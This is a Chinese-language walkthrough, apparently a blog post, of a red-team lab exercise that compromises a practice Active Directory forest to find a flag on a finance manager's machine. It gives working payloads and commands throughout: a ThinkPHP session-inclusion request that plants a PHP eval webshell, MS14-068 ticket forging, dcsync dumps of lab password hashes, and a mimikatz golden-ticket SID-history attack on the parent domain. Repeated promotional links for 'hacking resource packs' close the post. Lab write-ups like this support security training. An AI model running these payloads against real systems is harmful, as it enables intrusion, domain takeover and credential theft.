前言
目标域名:web.root.redteam.lab
目标 IP:192.168.0.12
本次考核目的:拿到 “渗透攻击红队” 公司下 财务部门主管:liuyuan 的个人电脑,并且获取到相应的 Flag 即可通过本次考核!
靶场架构图
渗透前期信息搜集
首先拿到域名后发现是一个 Thinkphp 框架,版本是 5.x :
但是通过 Poc 去调用 system 函数去执行命令并没有返回:
猜测是被禁用了,随后查看了一下发现 phpinfo 可以执行:
通过 phpinfo 发现目标 PHP 版本是 7.0.12、并且 disable_functions 禁用了大多数命令执行函数:
那么常规的命令执行是行不通了,那么其实可以利用 session 文件包含、日志包含的方式去 Getshell!
ThinkPHP Session 文件包含 Getshell
首先需要写 shell 进 session:
POST /index.php?s=captcha HTTP/1.1 Host: web.root.redteam.lab Cookie: PHPSESSID=redteam Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 78 _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
因为通过 Phpinfo 我们知道了 session 存放目录在:C:\phpStudy\PHPTutorial\tmp\tmp\sess_redteam
那么就可以通过包含 session :
POST /index.php?s=captcha HTTP/1.1 Host: web.root.redteam.lab Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7 Cookie: PHPSESSID=ertj8gb4vl2ntoa2v1qrtune32 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 143 _method=__construct&method=get&filter[]=think\__include_file&get[]=C:\phpStudy\PHPTutorial\tmp\tmp\sess_redteam&server[]=1
成功拿到 webshell:
内网信息搜集
因为有 disable_functions ,所以是执行不了命令的:
但是仔细发现 passthru 函数是没有被禁用的,可以通过 passthru 函数来执行命令:
通过信息搜集发现当前机器内有多网卡:
并且发现当前机器有域:root.redteam.lab
当前机器出网:
但是并没有发现有杀软!
那么可以先考虑上线到 Cs:
因为拿到的当前机器的权限是本地管理员,并不是一个域账号或者一个 system 机器账号,所以执行不了一些查询域的命令,那么就只能想办法获取到一枚域账号或者提权到 system!
后面通过土豆提权到 system :
这样就可以对域内进行查询了(因为 system 就是一个机器账号,所以只要当前机器是域机器那么也就可以查询域内东西)
定位到当前域控 IP:10.0.1.8
这个时候抓到了一枚域账号:
ROOT\xiaowang 2da2a4991d15033319d15eb780372184 (Xiao123)
root.redteam.lab 子域内信息搜集
通过域信任发现当前子域(root)和主域(redteam)是存在双向信任的:
对当前机器内网 IP C 段进行探测,只发现一台机器:
但是我看到当前机器的子网掩码是 B 段,猜测 B 段有机器,然后对 B 段进行了一波扫描,发现当前 B 段机器总共就 4 台:
10.0.0.7 10.0.0.8 10.0.1.16 (当前 DMZ Web 域服务器) 10.0.1.8(ROOT 域 DC)
随后对 10.0.1.8 扫了一下常见 TCP 端口:
proxychains4 nmap -v -Pn -T3 -sV -n -sT --open -p 1433,445,22,8161,3306,135,5236,5000,139,4430,443,8443,873,4443,5985,110,902,1521,7001,21,23,3389,80,81,88,89,8083,8080,9000,8088,8089,8081,5432,5900,6379,2049,389,61616,1099,27017,51111,22345,1723,1194 10.0.1.8
使用 ADExplorer + BloodHound 对域内进行了分析:
通过上图可知,因为当前只是拿到了一台 webserver 和一个域账号,但是它们两个对高价值目标并没有什么勾连,所以考虑尝试一下其他漏洞。
因为之前抓到了 root.redteam.lab\xiaowang
这个域账号,估且考虑通过 MS14-068 进行攻击!
MS14-068 Attack 子域 ROOT-AD.root.redteam.lab 域控
首先需要的条件有:域内任意用户 SID、域内任意用户密码。
使用 root.redteam.lab\xiaowang
的凭证执行命令得到 SID:
whoami /user 用户信息 ---------------- 用户名 SID ============= ============================================= root\xiaowang S-1-5-21-252626755-3360192561-2172417258-1104
使用 MS14-068 利用工具:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
通过在目标机器上执行如下命令生成 TGT 票据:
MS14-068.exe -u xiaowang@root.redteam.lab -p Xiao123 -s S-1-5-21-252626755-3360192561-2172417258-1104 -d 10.0.1.8
然后导入票据:
这个时候成功拿到域控权限:
最后直接用当前票据凭证去 dcsync:
这样就得到了子域的所有 hash:
root.redteam.lab\krbtgt 105fc86a0f24896464a4772748051789 root.redteam.lab\adduser 168df3659b5f75ab35645606839e5677 WEBSERVER\Administrator 518b98ad4178a53695dc997aa02d455c root.redteam.lab\xiaowang 2da2a4991d15033319d15eb780372184 ROOT\xiaowang 2da2a4991d15033319d15eb780372184 root.redteam.lab\Administrator f72ce44288aa1325c7b97ec83a4e5160 (Root12345)
最后 wmiexec 横向过去拿到 DC:
Sid History 跨域攻击-从子域(root.redteam.lab)跨域到父域(redteam.lab)
首先我们要知道 Sid History 攻击需要:
-
1、域名称(GET-ADDomain)
-
2、域的SID值(GET-ADDomainSID)
-
3、域的 KRBTGT 账户的hash(当前子域的,可以通过 mimikatz 获取)
-
4、伪造用户名(administrator)
-
5、根域 Enterprise Admins 组的 ObjectID(Convert-NameToSid)
1、域名称:root.redteam.lab
2、域的sid 值:导入 powerview.ps1 脚本获取 sid
powershell -exec bypass "import-module C:\windows\temp\powerview.ps1;Get-DomainSID" S-1-5-21-252626755-3360192561-2172417258
3、子域的 KRBTGT 账户的 hash:105fc86a0f24896464a4772748051789
4、获取根域(red.lab) Enterprise Admins 组的 ObjectID:S-1-5-21-3044561657-3490269564-1163119649-502
powershell -exec bypass "import-module C:\windows\temp\powerview.ps1;Convert-NameToSid redteam\krbtgt" S-1-5-21-3044561657-3490269564-1163119649-502
而完成 Sid History 攻击需要修改其 RID,获取到 krbtgt 的SID后,将 502 修改为 519,也就是 Enterprise Admins 修改为:S-1-5-21-3044561657-3490269564-1163119649-519
5、然后通过 mimikatz 进行攻击:
mimikatz kerberos::golden /user:administrator /domain:<current FQDN> /sid:<current SID> /krbtgt:<KRBTGT_HASH> /sids:<root domain SID>-519 /ptt /user – 需要模拟的用户名,本例中为administrator /domain – 完全限定域名(FQDN) /sid – 域的 SID /krbtgt – krbtgt的ntlm密码hash /sids – AD 林中帐户/组的 SID,能获取高权限的ticket,本例中为Enterprise Admins组 /ptt – 将伪造的票据注入内存以供使用 kerberos::golden /user:administrator /domain:root.redteam.lab /sid:S-1-5-21-252626755-3360192561-2172417258 /krbtgt:105fc86a0f24896464a4772748051789 /sids:S-1-5-21-3044561657-3490269564-1163119649-519 /ptt
为了方便我正向让子域的域控上线到了 Cs:
首先我子域控制器访问父域控制器是访问不了的:
这个时候通过 mimikatz 进行攻击:
但是用 cs 的 mimikatz 好像有问题:
于是我登录到子域的 DC 的远程桌面,利用 mimikatz 成功拿到父域:
mimikatz.exe "kerberos::golden /user:administrator /domain:root.redteam.lab /sid:S-1-5-21-252626755-3360192561-2172417258 /krbtgt:105fc86a0f24896464a4772748051789 /sids:S-1-5-21-3044561657-3490269564-1163119649-519 /ptt"
通过 dcsync 导出父域 redteam.lab 的所有 hash:
mimikatz # lsadump::dcsync /domain:redteam.lab /all /csv [DC] 'redteam.lab' will be the domain [DC] 'owa.redteam.lab' will be the DC server [DC] Exporting domain 'redteam.lab' 502 krbtgt 7f83b52bdbfbe4bb39277eda6d0022b2 1126 mail 38fe728ae616f0fde13715e7c320685f 1137 adduser 168df3659b5f75ab35645606839e5677 1138 webserver 0b564247267bce0a40cae80e575b9f64 1127 zhangfei ccef208c6485269c20db2cad21734fe7 1141 ROOT$ 5d2ea94adb5c2468732a085167091f3c 1133 saulgoodman ccef208c6485269c20db2cad21734fe7 1134 ak47 ccef208c6485269c20db2cad21734fe7 1128 lisi ccef208c6485269c20db2cad21734fe7 1135 uzi ccef208c6485269c20db2cad21734fe7 1132 zhoutian ccef208c6485269c20db2cad21734fe7 1129 justinBieber ccef208c6485269c20db2cad21734fe7 1130 zhangwen ccef208c6485269c20db2cad21734fe7 1131 liuyuan ae4c0d5fb959fda8f4cb1d14a8376af4 (Admin123456) 1140 WORK$ 75a5772b2f3c33fcaa3c7ccf2fe8e92a 1142 test ccef208c6485269c20db2cad21734fe7 1000 OWA$ 1e610250aebba6a6d2a285ec68fd2ee5 500 Administrator 518b98ad4178a53695dc997aa02d455c (admin!@#45)
父域下的定位财务部门 liuyuan 的个人电脑
首先通过登录到父域 redteam.lab 的 ldap 里搜索信息:
通过 DN 信息发现 liuyuan 是 渗透攻击红队旗下的财务部主管,邮箱是 liuyuan@redteam.lab
那么如果想要拿到他的个人机器,首先需要定位到他的个人机器是那个 IP,因为我靶场只有这几台机器,如果是真实环境下去定位的话可以使用以下这种方式:通过 wevtutil 日志去分析定位,日志id为4624(登录成功的日志)都导到指定目录下的 risalogs.evtx 文件中,然后再想办法把这个文件拖到本地来分析 !
首先通过 wmiexec 横向到父域域控上,然后导出日志:
wevtutil epl Security c:\windows\logs\risalogs.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 4449183132]]]"
吧 risalogs.evtx 下载到本地之后, 安装 Log Parser 2.2,用 LogParser 对刚刚拖回来的文件进行格式输出,将输出的结果存至 log.txt 中:
LogParser.exe -i:EVT -o csv "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as NAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as IP FROM risalogs.evtx" > log.txt
因为 log.txt 太乱了,我们给它剔除一下:
grep -v '\$' log.txt | sort | uniq | egrep -v 'ANONYMOUS LOGON|-|:' > login_succeed.txt
┌──(root㉿penetration)-[~] └─# cat login_succeed.txt ADDUSER,10.0.0.12 ADDUSER,10.0.0.7 ADMINISTRATOR,10.0.0.12 ADMINISTRATOR,10.0.0.7 ADMINISTRATOR,10.0.0.8 ADMINISTRATOR,10.0.1.16 ADMINISTRATOR,10.0.1.8 LIUYUAN,10.0.0.111 LIUYUAN,10.0.0.7 MAIL,10.0.0.7 NAME,IP WEBSERVER,10.0.0.12 XIAOWANG,10.0.1.16 ZHANGFEI,10.0.0.12
这个时候就知道了 liuyuan 这个用户登录过 10.0.0.111、10.0.0.7 !
而且发现只有 10.0.0.7 机器是开机的:
这个时候目的就很明确了,拿到 10.0.0.7 就可以了!
那么既然我们有 liuyuan 的 hash 了,直接进远程桌面后在邮件的草稿箱找到了 Flag:
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取